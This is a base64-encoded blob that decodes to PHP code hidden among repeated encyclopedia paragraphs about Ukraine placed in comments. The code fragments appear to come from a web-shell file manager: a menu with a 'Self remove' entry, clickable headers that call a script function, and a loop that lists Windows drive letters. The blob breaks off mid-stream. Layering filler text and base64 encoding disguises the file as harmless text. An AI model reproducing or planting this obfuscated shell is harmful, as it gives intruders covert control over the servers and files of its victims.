Va3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJJG1bJ1NlbGYgcmVtb3ZlJ10gPSAnU2VsZlJlbW92ZSc7CgkkbWVudSA9ICcnOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCWZvcmVhY2goJG0gYXMgJGsgPT4gJHYpCi8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJCSRtZW51IC49ICc8dGggd2lkdGg9IicuKGludCkoMTAwL2NvdW50KCRtKSkuJyUiPlsgPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJycuJHYuJ1wnLG51bGwsXCdcJyxcJ1wnLFwnXCcpIj4nLiRrLic8L2E+IF08L3RoPic7CgkkZHJpdmVzID0gIiI7Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJaWYgKCRHTE9CQUxTWydvcyddID09ICd3aW4nKSB7CgkJZm9yZWFjaCggcmFuZ2UoJ2EnLCd6JykgYXMgJGRyaXZlICkKCQlpZiAoaXNfZGlyKCRkcml2ZS4nOlxcJykpCi8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGpp